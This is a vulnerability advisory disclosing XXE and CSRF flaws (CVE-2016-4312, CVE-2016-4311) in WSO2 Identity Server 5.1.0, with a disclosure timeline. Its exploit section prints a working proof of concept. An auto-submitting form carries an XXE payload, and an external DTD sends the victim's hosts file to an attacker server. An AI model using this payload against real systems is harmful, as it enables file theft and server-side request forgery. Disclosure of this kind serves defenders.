135 lines
No EOL
3.9 KiB
Text
135 lines
No EOL
3.9 KiB
Text
[+] Credits: John Page aka HYP3RLINX
|
||
|
||
[+] Website: hyp3rlinx.altervista.org
|
||
|
||
[+] Source:
|
||
http://hyp3rlinx.altervista.org/advisories/WSO2-IDENTITY-SERVER-v5.1.0-XML-External-Entity.txt
|
||
|
||
[+] ISR: ApparitionSec
|
||
|
||
|
||
Vendor:
|
||
=============
|
||
www.wso2.com
|
||
|
||
|
||
Product:
|
||
============================
|
||
Wso2 Identity Server v5.1.0
|
||
|
||
As the industry’s first enterprise identity bus (EIB), WSO2 Identity Server
|
||
is the central backbone
|
||
that connects and manages multiple identities across applications, APIs,
|
||
the cloud, mobile, and Internet
|
||
of Things devices, regardless of the standards on which they are based. The
|
||
multi-tenant WSO2 Identity Server
|
||
can be deployed directly on servers or in the cloud, and has the ability to
|
||
propagate identities across geographical
|
||
and enterprise borders in a connected business environment.
|
||
|
||
|
||
Vulnerability Type:
|
||
============================
|
||
XML External Entity / CSRF
|
||
|
||
|
||
CVE Reference(s):
|
||
===================
|
||
CVE-2016-4312 (XXE)
|
||
CVE-2016-4311 (CSRF)
|
||
|
||
|
||
Vulnerability Details:
|
||
=====================
|
||
|
||
|
||
WSO2IS XML parser is vulnerable to XXE attack in the XACML flow, this can
|
||
be exploited when XML input containing a reference to an
|
||
external entity is processed by a weakly configured XML parser. The attack
|
||
leads to the disclosure and exfiltration of confidential
|
||
data and arbitrary system files, denial of service, server side request
|
||
forgery, port scanning from the perspective of the machine
|
||
where the parser is located (localhost), and other system impacts.
|
||
|
||
The exploit can be carried out locally by an internal malicious user or
|
||
remote via CSRF if an authenticated user clicks an attacker
|
||
supplied link or visits a evil webpage. In case of WSO2IS system files can
|
||
be read / exfiltrated to the remote attackers server
|
||
for safe keeping -_-
|
||
|
||
References:
|
||
https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2016-0096
|
||
|
||
|
||
Exploit code(s):
|
||
===============
|
||
|
||
XXE POC, exfiltrate the victims Windows hosts file to our remote server.
|
||
|
||
1) Form for the XXE POST request.
|
||
|
||
<form id='XXE' action="
|
||
https://victim-server:9443/carbon/entitlement/eval-policy-submit.jsp?withPDP=false"
|
||
method="post">
|
||
<textarea rows="20" cols="100" name="txtRequest">
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE roottag [
|
||
<!ENTITY % file SYSTEM "C:\Windows\System32\drivers\etc\hosts">
|
||
<!ENTITY % dtd SYSTEM "http://attackserver:8080/payload.dtd">
|
||
%dtd;]>
|
||
<Request xmlns="urn:oasis:names:tc:xacml:3.0:core:schema:wd-17"
|
||
CombinedDecision="false" ReturnPolicyIdList="false">
|
||
<Attributes>
|
||
<Attribute>&send;</Attribute>
|
||
</Attributes>
|
||
</Request>
|
||
</textarea>
|
||
<input type="hidden" name="forwardTo" value="eval-policy.jsp">
|
||
<script>document.getElementById('XXE').submit()</script>
|
||
</form>
|
||
|
||
|
||
2) DTD file on attacker server.
|
||
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attackserver:8080?%file;'>">
|
||
%all;
|
||
|
||
|
||
3) On attack server create listener for the victims HTTP request.
|
||
|
||
python -m SimpleHTTPServer 8080
|
||
|
||
|
||
Disclosure Timeline:
|
||
============================================
|
||
Vendor Notification: May 6, 2016
|
||
Vendor Acknowledgement: May 6, 2016
|
||
Vendor Fix / Customer Alerts: June 30, 2016
|
||
August 12, 2016 : Public Disclosure
|
||
|
||
|
||
Exploitation Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity Level:
|
||
===============
|
||
High
|
||
|
||
|
||
[+] Disclaimer
|
||
The information contained within this advisory is supplied "as-is" with no
|
||
warranties or guarantees of fitness of use or otherwise.
|
||
Permission is hereby granted for the redistribution of this advisory,
|
||
provided that it is not altered except by reformatting it, and
|
||
that due credit is given. Permission is explicitly given for insertion in
|
||
vulnerability databases and similar, provided that due credit
|
||
is given to the author. The author is not responsible for any misuse of the
|
||
information contained herein and accepts no responsibility
|
||
for any damage caused by the use or misuse of this information. The author
|
||
prohibits any malicious use of security related information
|
||
or exploits by the author or elsewhere.
|
||
|
||
HYP3RLINX |